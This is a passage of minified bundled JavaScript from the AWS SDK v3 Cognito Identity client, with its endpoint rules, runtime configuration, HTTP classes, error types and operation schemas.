Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",browser:{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.browser"},"react-native":{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.native"},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/clients/client-cognito-identity",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"clients/client-cognito-identity"}}});var PF4=v((Ub9)=>{var Qb9=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";Ub9.isArrayBuffer=Qb9});var qz6=v((ib9)=>{var db9=PF4(),Kz6=CA("buffer"),cb9=(A,K=0,q=A.byteLength-K)=>{if(!db9.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Kz6.Buffer.from(A,K,q)},lb9=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Kz6.Buffer.from(A,K):Kz6.Buffer.from(A)};ib9.fromArrayBuffer=cb9;ib9.fromString=lb9});var NF4=v((VF4)=>{Object.defineProperty(VF4,"__esModule",{value:!0});VF4.fromBase64=void 0;var ob9=qz6(),ab9=/^[A-Za-z0-9+/]*={0,2}$/,sb9=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!ab9.exec(A))throw TypeError("Invalid base64 string.");let K=(0,ob9.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};VF4.fromBase64=sb9});var EF4=v((TF4)=>{Object.defineProperty(TF4,"__esModule",{value:!0});TF4.toBase64=void 0;var tb9=qz6(),eb9=_z(),Ax9=(A)=>{let K;if(typeof A==="string")K=(0,eb9.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,tb9.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};TF4.toBase64=Ax9});var LF4=v((FSA)=>{var kF4=NF4(),CF4=EF4();Object.keys(kF4).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(FSA,A))Object.defineProperty(FSA,A,{enumerable:!0,get:function(){return kF4[A]}})});Object.keys(CF4).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(FSA,A))Object.defineProperty(FSA,A,{enumerable:!0,get:function(){return CF4[A]}})})});var cF4=v((pF4)=>{Object.defineProperty(pF4,"__esModule",{value:!0});pF4.ruleSet=void 0;var gF4="required",bD="fn",xD="argv",n$A="ref",RF4=!0,yF4="isSet",pSA="booleanEquals",i$A="error",zu="endpoint",JU="tree",Yz6="PartitionResult",zz6="getAttr",QSA="stringEquals",IF4={[gF4]:!1,type:"string"},SF4={[gF4]:!0,default:!1,type:"boolean"},hF4={[n$A]:"Endpoint"},FF4={[bD]:pSA,[xD]:[{[n$A]:"UseFIPS"},!0]},QF4={[bD]:pSA,[xD]:[{[n$A]:"UseDualStack"},!0]},w$={},USA={[n$A]:"Region"},bF4={[bD]:zz6,[xD]:[{[n$A]:Yz6},"supportsFIPS"]},UF4={[n$A]:Yz6},xF4={[bD]:pSA,[xD]:[!0,{[bD]:zz6,[xD]:[UF4,"supportsDualStack"]}]},uF4=[FF4],BF4=[QF4],mF4=[USA],Kx9={version:"1.0",parameters:{Region:IF4,UseDualStack:SF4,UseFIPS:SF4,Endpoint:IF4},rules:[{conditions:[{[bD]:yF4,[xD]:[hF4]}],rules:[{conditions:uF4,error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:i$A},{conditions:BF4,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:i$A},{endpoint:{url:hF4,properties:w$,headers:w$},type:zu}],type:JU},{conditions:[{[bD]:yF4,[xD]:mF4}],rules:[{conditions:[{[bD]:"aws.partition",[xD]:mF4,assign:Yz6}],rules:[{conditions:[FF4,QF4],rules:[{conditions:[{[bD]:pSA,[xD]:[RF4,bF4]},xF4],rules:[{conditions:[{[bD]:QSA,[xD]:[USA,"us-east-1"]}],endpoint:{url:"https://cognito-identity-fips.us-east-1.amazonaws.com",properties:w$,headers:w$},type:zu},{conditions:[{[bD]:QSA,[xD]:[USA,"us-east-2"]}],endpoint:{url:"https://cognito-identity-fips.us-east-2.amazonaws.com",properties:w$,headers:w$},type:zu},{conditions:[{[bD]:QSA,[xD]:[USA,"us-west-1"]}],endpoint:{url:"https://cognito-identity-fips.us-west-1.amazonaws.com",properties:w$,headers:w$},type:zu},{conditions:[{[bD]:QSA,[xD]:[USA,"us-west-2"]}],endpoint:{url:"https://cognito-identity-fips.us-west-2.amazonaws.com",properties:w$,headers:w$},type:zu},{endpoint:{url:"https://cognito-identity-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:w$,headers:w$},type:zu}],type:JU},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:i$A}],type:JU},{conditions:uF4,rules:[{conditions:[{[bD]:pSA,[xD]:[bF4,RF4]}],rules:[{endpoint:{url:"https://cognito-identity-fips.{Region}.{PartitionResult#dnsSuffix}",properties:w$,headers:w$},type:zu}],type:JU},{error:"FIPS is enabled but this partition does not support FIPS",type:i$A}],type:JU},{conditions:BF4,rules:[{conditions:[xF4],rules:[{conditions:[{[bD]:QSA,[xD]:["aws",{[bD]:zz6,[xD]:[UF4,"name"]}]}],endpoint:{url:"https://cognito-identity.{Region}.amazonaws.com",properties:w$,headers:w$},type:zu},{endpoint:{url:"https://cognito-identity.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:w$,headers:w$},type:zu}],type:JU},{error:"DualStack is enabled but this partition does not support DualStack",type:i$A}],type:JU},{endpoint:{url:"https://cognito-identity.{Region}.{PartitionResult#dnsSuffix}",properties:w$,headers:w$},type:zu}],type:JU}],type:JU},{error:"Invalid Configuration: Missing Region",type:i$A}]};pF4.ruleSet=Kx9});var nF4=v((lF4)=>{Object.defineProperty(lF4,"__esModule",{value:!0});lF4.defaultEndpointResolver=void 0;var qx9=gb(),wz6=Ky(),Yx9=cF4(),zx9=new wz6.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),wx9=(A,K={})=>{return zx9.get(A,()=>(0,wz6.resolveEndpoint)(Yx9.ruleSet,{endpointParams:A,logger:K.logger}))};lF4.defaultEndpointResolver=wx9;wz6.customEndpointFunctions.aws=qx9.awsEndpointFunctions});var tF4=v((aF4)=>{Object.defineProperty(aF4,"__esModule",{value:!0});aF4.getRuntimeConfig=void 0;var Hx9=aw(),Jx9=eF(),Ox9=Gz(),Xx9=gSA(),$x9=tE(),rF4=LF4(),oF4=_z(),_x9=Az6(),Gx9=nF4(),Zx9=(A)=>{return{apiVersion:"2014-06-30",base64Decoder:A?.base64Decoder??rF4.fromBase64,base64Encoder:A?.base64Encoder??rF4.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??Gx9.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??_x9.defaultCognitoIdentityHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new Hx9.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new Ox9.NoAuthSigner}],logger:A?.logger??new Xx9.NoOpLogger,protocol:A?.protocol??new Jx9.AwsJson1_1Protocol({defaultNamespace:"com.amazonaws.cognitoidentity",serviceTarget:"AWSCognitoIdentityService",awsQueryCompatible:!1}),serviceId:A?.serviceId??"Cognito Identity",urlParser:A?.urlParser??$x9.parseUrl,utf8Decoder:A?.utf8Decoder??oF4.fromUtf8,utf8Encoder:A?.utf8Encoder??oF4.toUtf8}};aF4.getRuntimeConfig=Zx9});var wQ4=v((YQ4)=>{Object.defineProperty(YQ4,"__esModule",{value:!0});YQ4.getRuntimeConfig=void 0;var Wx9=Uz(),Dx9=Wx9.__importDefault(MF4()),eF4=aw(),jx9=W8A(),AQ4=oF(),b21=l0(),Mx9=aF(),KQ4=kZ(),L7A=NV(),qQ4=zT(),Px9=sF(),Vx9=db(),fx9=tF4(),Nx9=gSA(),Tx9=KQ(),vx9=gSA(),Ex9=(A)=>{(0,vx9.emitWarningIfUnsupportedVersion)(process.version);let K=(0,Tx9.resolveDefaultsModeConfig)(A),q=()=>K().then(Nx9.loadConfigsForDefaultMode),Y=(0,fx9.getRuntimeConfig)(A);(0,eF4.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,L7A.loadConfig)(eF4.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??Px9.calculateBodyLength,credentialDefaultProvider:A?.credentialDefaultProvider??jx9.defaultProvider,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,AQ4.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:Dx9.default.version}),maxAttempts:A?.maxAttempts??(0,L7A.loadConfig)(KQ4.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,L7A.loadConfig)(b21.NODE_REGION_CONFIG_OPTIONS,{...b21.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:qQ4.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,L7A.loadConfig)({...KQ4.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||Vx9.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??Mx9.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??qQ4.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,L7A.loadConfig)(b21.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,L7A.loadConfig)(b21.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,L7A.loadConfig)(AQ4.NODE_APP_ID_CONFIG_OPTIONS,z)}};YQ4.getRuntimeConfig=Ex9});var XQ4=v((Ix9)=>{var kx9=i26(),Cx9=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},Lx9=(A)=>{return{httpHandler:A.httpHandler()}};class HQ4{name;kind;values;constructor({name:A,kind:K=kx9.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class JQ4{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class x21{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new x21({...A,headers:{...A.headers}});if(K.query)K.query=Rx9(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return x21.clone(this)}}function Rx9(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class OQ4{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function yx9(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}Ix9.Field=HQ4;Ix9.Fields=JQ4;Ix9.HttpRequest=x21;Ix9.HttpResponse=OQ4;Ix9.getHttpHandlerExtensionConfiguration=Cx9;Ix9.isValidHostname=yx9;Ix9.resolveHttpHandlerRuntimeConfig=Lx9});var lQ4=v((bz6)=>{var $Q4=BF(),gx9=mF(),Fx9=gF(),_Q4=Ub(),Qx9=l0(),u21=Gz(),xT=DJ(),Ux9=rF(),vJ=qy(),GQ4=kZ(),F2=gSA(),ZQ4=Az6(),px9=wQ4(),WQ4=Yy(),DQ4=XQ4(),dx9=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"cognito-identity"})},ZO={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},cx9=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}},lx9=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}},ix9=(A,K)=>{let q=Object.assign(WQ4.getAwsRegionExtensionConfiguration(A),F2.getDefaultExtensionConfiguration(A),DQ4.getHttpHandlerExtensionConfiguration(A),cx9(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,WQ4.resolveAwsRegionExtensionConfiguration(q),F2.resolveDefaultRuntimeConfig(q),DQ4.resolveHttpHandlerRuntimeConfig(q),lx9(q))};class m21 extends F2.Client{config;constructor(...[A]){let K=px9.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=dx9(K),Y=_Q4.resolveUserAgentConfig(q),z=GQ4.resolveRetryConfig(Y),w=Qx9.resolveRegionConfig(z),H=$Q4.resolveHostHeaderConfig(w),J=vJ.resolveEndpointConfig(H),O=ZQ4.resolveHttpAuthSchemeConfig(J),X=ix9(O,A?.extensions||[]);this.config=X,this.middlewareStack.use(xT.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(_Q4.getUserAgentPlugin(this.config)),this.middlewareStack.use(GQ4.getRetryPlugin(this.config)),this.middlewareStack.use(Ux9.getContentLengthPlugin(this.config)),this.middlewareStack.use($Q4.getHostHeaderPlugin(this.config)),this.middlewareStack.use(gx9.getLoggerPlugin(this.config)),this.middlewareStack.use(Fx9.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use(u21.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:ZQ4.defaultCognitoIdentityHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new u21.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use(u21.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var uT=class A extends F2.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},jQ4=class A extends uT{name="InternalErrorException";$fault="server";constructor(K){super({name:"InternalErrorException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype)}},MQ4=class A extends uT{name="InvalidParameterException";$fault="client";constructor(K){super({name:"InvalidParameterException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},PQ4=class A extends uT{name="LimitExceededException";$fault="client";constructor(K){super({name:"LimitExceededException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},VQ4=class A extends uT{name="NotAuthorizedException";$fault="client";constructor(K){super({name:"NotAuthorizedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},fQ4=class A extends uT{name="ResourceConflictException";$fault="client";constructor(K){super({name:"ResourceConflictException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},NQ4=class A extends uT{name="TooManyRequestsException";$fault="client";constructor(K){super({name:"TooManyRequestsException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},TQ4=class A extends uT{name="ResourceNotFoundException";$fault="client";constructor(K){super({name:"ResourceNotFoundException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},vQ4=class A extends uT{name="ExternalServiceException";$fault="client";constructor(K){super({name:"ExternalServiceException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},EQ4=class A extends uT{name="InvalidIdentityPoolConfigurationException";$fault="client";constructor(K){super({name:"InvalidIdentityPoolConfigurationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},kQ4=class A extends uT{name="DeveloperUserAlreadyRegisteredException";$fault="client";constructor(K){super({name:"DeveloperUserAlreadyRegisteredException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},CQ4=class A extends uT{name="ConcurrentModificationException";$fault="client";constructor(K){super({name:"ConcurrentModificationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},LQ4="AllowClassicFlow",nx9="AccountId",rx9="AccessKeyId",ox9="AmbiguousRoleResolution",RQ4="AllowUnauthenticatedIdentities",yQ4="Credentials",ax9="CreationDate",sx9="ClientId",tx9="CognitoIdentityProvider",ex9="CreateIdentityPoolInput",Au9="CognitoIdentityProviderList",IQ4="CognitoIdentityProviders",Ku9="CreateIdentityPool",qu9="ConcurrentModificationException",Yu9="CustomRoleArn",zu9="Claim",wu9="DeleteIdentities",Hu9="DeleteIdentitiesInput",Ju9="DescribeIdentityInput",Ou9="DeleteIdentityPool",Xu9="DeleteIdentityPoolInput",$u9="DescribeIdentityPoolInput",_u9="DescribeIdentityPool",Gu9="DeleteIdentitiesResponse",Zu9="DescribeIdentity",g21="DeveloperProviderName",Wu9="DeveloperUserAlreadyRegisteredException",SQ4="DeveloperUserIdentifier",Du9="DeveloperUserIdentifierList",ju9="DestinationUserIdentifier",Mu9="Expiration",Pu9="ErrorCode",Vu9="ExternalServiceException",fu9="GetCredentialsForIdentity",Nu9="GetCredentialsForIdentityInput",Tu9="GetCredentialsForIdentityResponse",vu9="GetId",Eu9="GetIdInput",ku9="GetIdentityPoolRoles",Cu9="GetIdentityPoolRolesInput",Lu9="GetIdentityPoolRolesResponse",Ru9="GetIdResponse",yu9="GetOpenIdToken",Iu9="GetOpenIdTokenForDeveloperIdentity",Su9="GetOpenIdTokenForDeveloperIdentityInput",hu9="GetOpenIdTokenForDeveloperIdentityResponse",bu9="GetOpenIdTokenInput",xu9="GetOpenIdTokenResponse",uu9="GetPrincipalTagAttributeMap",Bu9="GetPrincipalTagAttributeMapInput",mu9="GetPrincipalTagAttributeMapResponse",gu9="HideDisabled",Fu9="Identities",Qu9="IdentityDescription",Uu9="InternalErrorException",MM="IdentityId",pu9="InvalidIdentityPoolConfigurationException",du9="IdentityIdsToDelete",cu9="IdentitiesList",lu9="IdentityPool",iu9="InvalidParameterException",DG="IdentityPoolId",nu9="IdentityPoolsList",Hz6="IdentityPoolName",F21="IdentityProviderName",ru9="IdentityPoolShortDescription",ou9="IdentityProviderToken",hQ4="IdentityPoolTags",au9="IdentityPools",r$A="Logins",su9="LookupDeveloperIdentity",tu9="LookupDeveloperIdentityInput",eu9="LookupDeveloperIdentityResponse",AB9="LimitExceededException",KB9="ListIdentities",qB9="ListIdentitiesInput",YB9="ListIdentityPools",zB9="ListIdentityPoolsInput",wB9="ListIdentityPoolsResponse",HB9="ListIdentitiesResponse",JB9="LoginsMap",OB9="LastModifiedDate",XB9="ListTagsForResource",$B9="ListTagsForResourceInput",_B9="ListTagsForResourceResponse",GB9="LoginsToRemove",ZB9="MergeDeveloperIdentities",WB9="MergeDeveloperIdentitiesInput",DB9="MergeDeveloperIdentitiesResponse",Jz6="MaxResults",jB9="MappingRulesList",MB9="MappingRule",PB9="MatchType",VB9="NotAuthorizedException",o$A="NextToken",bQ4="OpenIdConnectProviderARNs",fB9="OIDCToken",NB9="ProviderName",Q21="PrincipalTags",xQ4="Roles",Oz6="ResourceArn",TB9="RoleARN",vB9="RulesConfiguration",EB9="ResourceConflictException",kB9="RulesConfigurationType",uQ4="RoleMappings",CB9="RoleMappingMap",LB9="RoleMapping",RB9="ResourceNotFoundException",yB9="Rules",IB9="SetIdentityPoolRoles",SB9="SetIdentityPoolRolesInput",hB9="SecretKey",bB9="SecretKeyString",BQ4="SupportedLoginProviders",mQ4="SamlProviderARNs",xB9="SetPrincipalTagAttributeMap",uB9="SetPrincipalTagAttributeMapInput",BB9="SetPrincipalTagAttributeMapResponse",mB9="ServerSideTokenCheck",gB9="SessionToken",FB9="SourceUserIdentifier",gQ4="Token",QB9="TokenDuration",UB9="TagKeys",pB9="TooManyRequestsException",dB9="TagResource",cB9="TagResourceInput",lB9="TagResourceResponse",FQ4="Tags",iB9="Type",Xz6="UseDefaults",nB9="UnlinkDeveloperIdentity",rB9="UnlinkDeveloperIdentityInput",oB9="UnlinkIdentity",aB9="UnprocessedIdentityIds",sB9="UnprocessedIdentityIdList",tB9="UnlinkIdentityInput",eB9="UnprocessedIdentityId",Am9="UpdateIdentityPool",Km9="UntagResource",qm9="UntagResourceInput",Ym9="UntagResourceResponse",zm9="Value",wu="client",dy="error",Hu="httpError",cy="message",wm9="server",QQ4="smithy.ts.sdk.synthetic.com.amazonaws.cognitoidentity",F8="com.amazonaws.cognitoidentity",Hm9=[0,F8,ou9,8,0],UQ4=[0,F8,fB9,8,0],Jm9=[0,F8,bB9,8,0],Om9=[3,F8,tx9,0,[NB9,sx9,mB9],[0,0,2]],Xm9=[-3,F8,qu9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(Xm9,CQ4);var $m9=[3,F8,ex9,0,[Hz6,RQ4,LQ4,BQ4,g21,bQ4,IQ4,mQ4,hQ4],[0,2,2,128,0,64,()=>dQ4,64,128]],_m9=[3,F8,yQ4,0,[rx9,hB9,gB9,Mu9],[0,[()=>Jm9,0],0,4]],Gm9=[3,F8,Hu9,0,[du9],[64]],Zm9=[3,F8,Gu9,0,[aB9],[()=>Zg9]],Wm9=[3,F8,Xu9,0,[DG],[0]],Dm9=[3,F8,Ju9,0,[MM],[0]],jm9=[3,F8,$u9,0,[DG],[0]],Mm9=[-3,F8,Wu9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(Mm9,kQ4);var Pm9=[-3,F8,Vu9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(Pm9,vQ4);var Vm9=[3,F8,Nu9,0,[MM,r$A,Yu9],[0,[()=>dSA,0],0]],fm9=[3,F8,Tu9,0,[MM,yQ4],[0,[()=>_m9,0]]],Nm9=[3,F8,Cu9,0,[DG],[0]],Tm9=[3,F8,Lu9,0,[DG,xQ4,uQ4],[0,128,()=>cQ4]],vm9=[3,F8,Eu9,0,[nx9,DG,r$A],[0,0,[()=>dSA,0]]],Em9=[3,F8,Ru9,0,[MM],[0]],km9=[3,F8,Su9,0,[DG,MM,r$A,Q21,QB9],[0,0,[()=>dSA,0],128,1]],Cm9=[3,F8,hu9,0,[MM,gQ4],[0,[()=>UQ4,0]]],Lm9=[3,F8,bu9,0,[MM,r$A],[0,[()=>dSA,0]]],Rm9=[3,F8,xu9,0,[MM,gQ4],[0,[()=>UQ4,0]]],ym9=[3,F8,Bu9,0,[DG,F21],[0,0]],Im9=[3,F8,mu9,0,[DG,F21,Xz6,Q21],[0,0,2,128]],pQ4=[3,F8,Qu9,0,[MM,r$A,ax9,OB9],[0,64,4,4]],B21=[3,F8,lu9,0,[DG,Hz6,RQ4,LQ4,BQ4,g21,bQ4,IQ4,mQ4,hQ4],[0,0,2,2,128,0,64,()=>dQ4,64,128]],Sm9=[3,F8,ru9,0,[DG,Hz6],[0,0]],hm9=[-3,F8,Uu9,{[dy]:wm9},[cy],[0]];xT.TypeRegistry.for(F8).registerError(hm9,jQ4);var bm9=[-3,F8,pu9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(bm9,EQ4);var xm9=[-3,F8,iu9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(xm9,MQ4);var um9=[-3,F8,AB9,{[dy]:wu,[Hu]:400},[cy],[0]];xT.TypeRegistry.for(F8).registerError(um9,PQ4);var Bm9=[3,F8,qB9,0,[DG,Jz6,o$A,gu9],[0,1,0,2]],mm9=[3,F8,HB9,0,[DG,Fu9,o$A],[0,()=>$g9,0]],gm9=[3,F8,zB9,0,[Jz6,o$A],[1,0]],Fm9=[3,F8,wB9,0,[au9,o$A],[()=>_g9,0]],Qm9=[3,F8,$B9,0,[Oz6],[0]],Um9=[3,F8,_B9,0,[FQ4],[128]],pm9=[3,F8,tu9,0,[DG,MM,SQ4,Jz6,o$A],[0,0,0,1,0]],dm9=[3,F8,eu9,0,[MM,Du9,o$A],[0,64,0]],cm9=[3,F8,MB9,0,[zu9,PB9,zm9,TB9],[0,0,0,0]],lm9=[3,F8,WB9,0,[FB9,ju9,g21,DG],[0,0,0,0]],im9=[3,F8,DB9,0,[MM],[0]],nm9=[-3,F8,VB9,{[dy]:wu,[Hu]:403},[cy],[0]];xT.TypeRegistry.for(F8).registerError(nm9,VQ4);var rm9=[-3,F8,EB9,{[dy]:wu,[Hu]:409},[cy],[0]];xT.TypeRegistry.for(F8).registerError(rm9,fQ4);var om9=[-3,F8,RB9,{[dy]:wu,[Hu]:404},[cy],[0]];xT.TypeRegistry.for(F8).registerError(om9,TQ4);var am9=[3,F8,LB9,0,[iB9,ox9,vB9],[0,0,()=>sm9]],sm9=[3,F8,kB9,0,[yB9],[()=>Gg9]],tm9=[3,F8,SB9,0,[DG,xQ4,uQ4],[0,128,()=>cQ4]],em9=[3,F8,uB9,0,[DG,F21,Xz6,Q21],[0,0,2,128]],Ag9=[3,F8,BB9,0,[DG,F21,Xz6,Q21],[0,0,2,128]],Kg9=[3,F8,cB9,0,[Oz6,FQ4],[0,128]],qg9=[3,F8,lB9,0,[],[]],Yg9=[-3,F8,pB9,{[dy]:wu,[Hu]:429},[cy],[0]];xT.TypeRegistry.for(F8).registerError(Yg9,NQ4);var zg9=[3,F8,rB9,0,[MM,DG,g21,SQ4],[0,0,0,0]],wg9=[3,F8,tB9,0,[MM,r$A,GB9],[0,[()=>dSA,0],64]],Hg9=[3,F8,eB9,0,[MM,Pu9],[0,0]],Jg9=[3,F8,qm9,0,[Oz6,UB9],[0,64]],Og9=[3,F8,Ym9,0,[],[]],U21="unit",Xg9=[-3,QQ4,"CognitoIdentityServiceException",0,[],[]];xT.TypeRegistry.for(QQ4).registerError(Xg9,uT);var dQ4=[1,F8,Au9,0,()=>Om9],$g9=[1,F8,cu9,0,()=>pQ4],_g9=[1,F8,nu9,0,()=>Sm9],Gg9=[1,F8,jB9,0,()=>cm9],Zg9=[1,F8,sB9,0,()=>Hg9],dSA=[2,F8,JB9,0,[0,0],[()=>Hm9,0]],cQ4=[2,F8,CB9,0,0,()=>am9],Wg9=[9,F8,Ku9,0,()=>$m9,()=>B21],Dg9=[9,F8,wu9,0,()=>Gm9,()=>Zm9],jg9=[9,F8,Ou9,0,()=>Wm9,()=>U21],Mg9=[9,F8,Zu9,0,()=>Dm9,()=>pQ4],Pg9=[9,F8,_u9,0,()=>jm9,()=>B21],Vg9=[9,F8,fu9,0,()=>Vm9,()=>fm9],fg9=[9,F8,vu9,0,()=>vm9,()=>Em9],Ng9=[9,F8,ku9,0,()=>Nm9,()=>Tm9],Tg9=[9,F8,yu9,0,()=>Lm9,()=>Rm9],vg9=[9,F8,Iu9,0,()=>km9,()=>Cm9],Eg9=[9,F8,uu9,0,()=>ym9,()=>Im9],kg9=[9,F8,KB9,0,()=>Bm9,()=>mm9],Cg9=[9,F8,YB9,0,()=>gm9,()=>Fm9],Lg9=[9,F8,XB9,0,()=>Qm9,()=>Um9],Rg9=[9,F8,su9,0,()=>pm9,()=>dm9],yg9=[9,F8,ZB9,0,()=>lm9,()=>im9],Ig9=[9,F8,IB9,0,()=>tm9,()=>U21],Sg9=[9,F8,xB9,0,()=>em9,()=>Ag9],hg9=[9,F8,dB9,0,()=>Kg9,()=>qg9],bg9=[9,F8,nB9,0,()=>zg9,()=>U21],xg9=[9,F8,oB9,0,()=>wg9,()=>U21],ug9=[9,F8,Km9,0,()=>Jg9,()=>Og9],Bg9=[9,F8,Am9,0,()=>B21,()=>B21];class $z6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","CreateIdentityPool",{}).n("CognitoIdentityClient","CreateIdentityPoolCommand").sc(Wg9).build(){}class _z6 extends 